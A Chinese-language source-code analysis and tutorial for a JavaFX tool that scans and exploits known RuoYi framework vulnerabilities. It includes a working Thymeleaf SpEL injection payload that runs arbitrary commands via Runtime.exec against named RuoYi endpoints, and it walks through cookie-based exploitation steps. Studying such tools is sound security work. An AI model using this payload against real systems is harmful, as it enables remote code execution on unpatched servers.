若依一把梭哈工具源码分析
字数 1696 2025-08-22 12:23:24
若依一把梭哈工具源码分析与教学文档
1. 工具概述
若依一把梭哈工具是一个针对若依(RuoYi)框架的安全测试工具,集成了若依框架的多个历史漏洞利用模块。该工具采用JavaFX开发,提供了图形化界面,方便安全研究人员进行漏洞检测和利用。
2. 工具界面与功能模块
2.1 界面布局
工具界面主要分为三个核心模块:
-
基础配置模块:
- URL地址输入框
- Cookie输入框
- 配置确定按钮
-
漏洞利用分类模块:
- 包含若依框架的各种历史漏洞选项
-
利用参数配置模块:
- 针对特定漏洞的参数配置区域
- 执行按钮
- 结果显示区域
2.2 功能分类
工具主要功能包括:
- 若依框架识别
- 漏洞扫描
- 特定漏洞利用
- 结果展示
3. 核心源码分析
3.1 Config类分析
Config类作为全局配置类,存储了工具运行所需的各种配置参数和请求方法。
public class Config {
// 静态配置变量
public static String url;
public static String cookie;
public static Boolean isConnected = false;
public static String snakeyamlUrl = "";
public static TextArea resultText;
public static String jobId;
public static List<String> vulMode = new ArrayList();
public static String uploadPath = "";
public static File jarFile = null;
// 若依API路径常量
public static final String jobListPath = "/monitor/job/list";
public static final String jobAddPath = "/monitor/job/add";
// ...其他路径常量
// 请求方法
public static String get(String path) {
return RequestUtil.get(url + path, cookie);
}
public static String post(String path, String param) {
return RequestUtil.post(url + path, param, cookie);
}
// ...其他请求方法
}
3.2 MainController类分析
MainController类是工具的核心控制类,负责处理用户交互和漏洞利用流程。
配置功能实现
public void config() {
this.configConn = false;
ResultUtil.clear();
Config.url = this.urlText.getText();
Config.cookie = this.cookieText.getText();
if (!Config.url.isEmpty() && !Config.cookie.isEmpty()) {
String resp = RequestUtil.get(Config.url, Config.cookie);
Pattern pattern = Pattern.compile("<p>(.*?)</p>");
Matcher matcher = pattern.matcher(resp);
if (matcher.find()) {
List<String> jobList = JobUtil.getList();
if (jobList.isEmpty()) {
JobUtil.createJob();
jobList = JobUtil.getList();
this.configConn = true;
}
Config.jobId = (String)jobList.get(0);
ResultUtil.success("配置信息成功,Cookie有效");
this.configConn = true;
} else {
ResultUtil.success("配置信息成功,Cookie无效");
}
} else {
ResultUtil.success("配置信息失败");
}
}
漏洞扫描功能实现
public void conn() {
ResultUtil.clear();
Runnable runnable = () -> {
this.vulText.appendText("正在扫描全部漏洞,请耐心等待~\r\n");
if (this.configConn) {
VulScan.scan(); // 全量扫描
} else {
ResultUtil.fail("网络异常或Cookie无效,只进行Shiro框架识别与key探测");
VulScan.ShiroTest(); // 仅Shiro测试
}
};
Thread workThrad = new Thread(runnable);
workThrad.start();
}
3.3 漏洞利用实现示例(Thymeleaf模板注入)
public static boolean check(String cmd) {
// 构造SPEL表达式
String payload = "(${T(java.lang.Runtime).getRuntime().exec(\"" + cmd + "\")})";
String encodedPayload = "";
// URL编码
char[] var3 = payload.toCharArray();
for (char c : var3) {
encodedPayload = encodedPayload + "%" + Integer.toHexString(c);
}
// 测试多个可能的注入点
String url1 = "/monitor/cache/getNames?fragment=header(" + encodedPayload + ")";
String url2 = "/monitor/cache/getKeys?fragment=header(" + encodedPayload + ")";
// ...其他URL
try {
String post3 = Config.post(url1, "");
if (post3.contains("getNames")) {
return true;
}
} catch (Exception var11) {}
// ...其他URL测试
return false;
}
4. 工具使用教学
4.1 基本使用流程
-
配置目标信息:
- 在URL输入框中输入目标若依系统的地址
- 在Cookie输入框中输入有效的会话Cookie
- 点击"确定"按钮验证配置
-
漏洞扫描:
- 点击"扫描"按钮开始全量漏洞扫描
- 如果配置无效,工具会自动降级为仅Shiro检测
-
特定漏洞利用:
- 在漏洞分类标签页中选择特定漏洞
- 输入必要的利用参数
- 点击执行按钮进行利用
4.2 关键功能详解
4.2.1 配置验证机制
工具通过以下方式验证配置有效性:
- 发送GET请求到目标URL
- 检查响应中是否包含
<p>标签 - 如果验证通过,设置
configConn为true
4.2.2 漏洞扫描流程
全量扫描调用VulScan.scan()方法,依次检测:
- Yaml反序列化漏洞
- JDBC注入漏洞
- 任意文件读取漏洞
- Thymeleaf模板注入漏洞
- SQL注入漏洞
- Shiro相关漏洞
4.2.3 请求处理机制
工具使用RequestUtil类统一处理HTTP请求,支持:
- GET请求
- POST请求
- 文件上传
- 特殊头部的请求
5. 漏洞利用技术分析
5.1 Thymeleaf模板注入
漏洞原理:
若依框架在使用Thymeleaf模板引擎时,未对用户输入进行充分过滤,导致SPEL表达式注入。
利用方式:
- 构造恶意的SPEL表达式
- 对表达式进行URL编码
- 尝试在多个已知的Thymeleaf端点注入
关键代码:
String payload = "(${T(java.lang.Runtime).getRuntime().exec(\"" + cmd + "\")})";
String encodedPayload = "";
for (char c : payload.toCharArray()) {
encodedPayload = encodedPayload + "%" + Integer.toHexString(c);
}
5.2 其他漏洞类型
工具还实现了以下漏洞的检测和利用:
- YAML反序列化:通过
snakeyaml库的漏洞实现RCE - JDBC注入:利用若依的JDBC连接功能实现注入
- 文件读取:利用若依的文件处理功能读取系统文件
- SQL注入:针对若依特定接口的SQL注入
- Shiro漏洞:包括Shiro的rememberMe反序列化漏洞
6. 工具开发技巧
6.1 JavaFX界面开发
- FXML布局:使用FXML文件定义界面布局
- 控制器绑定:通过
fx:controller属性绑定控制器类 - 事件处理:使用lambda表达式简化事件处理
示例:
<Button fx:id="submitBtn" mnemonicParsing="false" prefWidth="80.0" text="扫描">
<HBox.margin>
<Insets left="20.0"/>
</HBox.margin>
</Button>
6.2 多线程处理
工具使用多线程处理耗时操作,避免界面卡顿:
Runnable runnable = () -> {
// 扫描逻辑
};
Thread workThrad = new Thread(runnable);
workThrad.start();
6.3 模块化设计
工具采用模块化设计:
- 配置模块:Config类
- 请求模块:RequestUtil类
- 漏洞模块:各漏洞的Exp类
- 工具模块:各种Util类
7. 安全注意事项
- 合法使用:该工具仅用于授权测试,未经授权使用可能违法
- 风险提示:漏洞利用可能对目标系统造成破坏
- 防护建议:若依用户应及时更新框架,修复已知漏洞
8. 总结
若依一把梭哈工具是一个功能全面的若依框架安全测试工具,通过分析其源码可以学习到:
- JavaFX图形界面开发技巧
- 漏洞检测与利用的实现原理
- 模块化的代码组织方式
- 安全工具的开发思路
该工具对若依框架的各种历史漏洞进行了系统性的集成,是学习Web安全工具开发的优秀参考案例。